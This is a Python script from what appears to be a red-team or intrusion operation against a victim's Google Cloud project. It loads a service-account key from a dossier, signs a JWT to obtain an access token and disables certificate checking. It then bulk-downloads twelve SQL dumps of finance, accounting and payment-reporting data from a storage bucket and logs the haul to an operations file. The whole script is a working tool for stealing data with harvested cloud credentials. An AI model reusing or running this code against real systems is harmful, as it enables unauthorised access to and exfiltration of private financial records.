#!/usr/bin/env python3
"""Bulk GCS download of large SQL dumps (operator GO 2026-08-14).

Streams (chunked, binary) the large dumps from cfu-main-sql-migrate to
downloads/big/. Verifies sizes against gcs_listing_aug14.json metadata.
Egress: storage.googleapis.com only. Audit-log visible on victim side.
"""
import base64
import importlib.util
import json
import ssl
import sys
import time
import urllib.parse
import urllib.request
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id'
OUT = DOSSIER / 'downloads/big'

spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE

TARGETS = [
    'financeacc/finance.sql',
    'financeacc/sipp.sql',
    'golden-gate/accounting.sql',
    'golden-gate/accounting_internal.sql',
    'colosseum/April_2025/reporting_payment_bca.sql',
    'colosseum/April_2025/reporting_payment_koinworks.sql',
    'colosseum/April_2025/reporting_payment_kredivo.sql',
    'colosseum/April_2025/reporting_tokopedia_cfu.sql',
    'colosseum/April_2025/reporting_tokopedia_integra.sql',
    'colosseum/April_2025/reporting_sendgrid.sql',
    'colosseum/April_2025/reporting_neogenesis_gudang_vietnam.sql',
    'colosseum/April_2025/reporting_century_express.sql',
]

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b'=')

def mint():
    sa = None
    for f in sorted((DOSSIER / 'gcp_keys').iterdir()):
        try:
            d = json.loads(f.read_text())
        except Exception:
            continue
        if isinstance(d, dict) and d.get('type') == 'service_account' and d.get('project_id') == 'cfu-main':
            sa = d
            break
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    now = int(time.time())
    hdr = {'alg': 'RS256', 'typ': 'JWT', 'kid': sa['private_key_id']}
    cl = {'iss': sa['client_email'], 'scope': 'https://www.googleapis.com/auth/cloud-platform',
          'aud': 'https://oauth2.googleapis.com/token', 'iat': now, 'exp': now + 3600}
    si = b64url(json.dumps(hdr).encode()) + b'.' + b64url(json.dumps(cl).encode())
    key = serialization.load_pem_private_key(sa['private_key'].encode(), None)
    jwt = (si + b'.' + b64url(key.sign(si, padding.PKCS1v15(), hashes.SHA256()))).decode()
    data = urllib.parse.urlencode(
        {'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion': jwt}).encode()
    st, body = l2s.req('https://oauth2.googleapis.com/token', method='POST', data=data,
                       headers={'Content-Type': 'application/x-www-form-urlencoded'})
    return json.loads(body)['access_token']

def oplog(output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | storage.googleapis.com:443 | urllib/GET alt=media (stream,binary) | bulk download large dumps | {output} | {result} | none | big-dumps GO\n")

def main():
    OUT.mkdir(parents=True, exist_ok=True)
    listing = json.loads((DOSSIER / 'gcs_listing_aug14.json').read_text())
    meta = {it['n']: it['s'] for it in listing['cfu-main']['cfu-main-sql-migrate']['items']}
    tok = mint()
    results = []
    for name in TARGETS:
        dest = OUT / name.replace('/', '__')
        expected = meta.get(name)
        if dest.exists() and expected and dest.stat().st_size == expected:
            print(f'  [=] {name} already complete ({expected} b)', file=sys.stderr)
            results.append({'name': name, 'bytes': expected, 'cached': True})
            continue
        enc = urllib.parse.quote(name, safe='')
        url = f'https://storage.googleapis.com/download/storage/v1/b/cfu-main-sql-migrate/o/{enc}?alt=media'
        t0 = time.time()
        try:
            r = urllib.request.Request(url, headers={'Authorization': f'Bearer {tok}'})
            with urllib.request.urlopen(r, timeout=120, context=CTX) as resp, open(dest, 'wb') as f:
                while True:
                    chunk = resp.read(1 << 20)
                    if not chunk:
                        break
                    f.write(chunk)
            got = dest.stat().st_size
            dt = time.time() - t0
            ok = (expected is None) or (got == expected)
            results.append({'name': name, 'bytes': got, 'expected': expected, 'ok': ok, 'sec': round(dt, 1)})
            print(f'  [{"+" if ok else "!"}] {name}: {got} b in {dt:.0f}s ({got/1e6/dt:.1f} MB/s)', file=sys.stderr)
        except Exception as e:
            results.append({'name': name, 'ok': False, 'error': str(e)[:150]})
            print(f'  [-] {name}: {e}', file=sys.stderr)
    (DOSSIER / 'big_dumps_aug14.json').write_text(json.dumps(results, indent=1))
    done = sum(1 for r in results if r.get('bytes'))
    total_b = sum(r.get('bytes', 0) for r in results)
    oplog('; '.join(f"{r['name'].split('/')[-1]}={r.get('bytes', 'FAIL')}" for r in results),
          f'SUCCESS {done}/{len(TARGETS)} total={total_b/1e9:.2f}GB')
    print(f'[+] done {done}/{len(TARGETS)}, total {total_b/1e9:.2f} GB', file=sys.stderr)

if __name__ == '__main__':
    main()
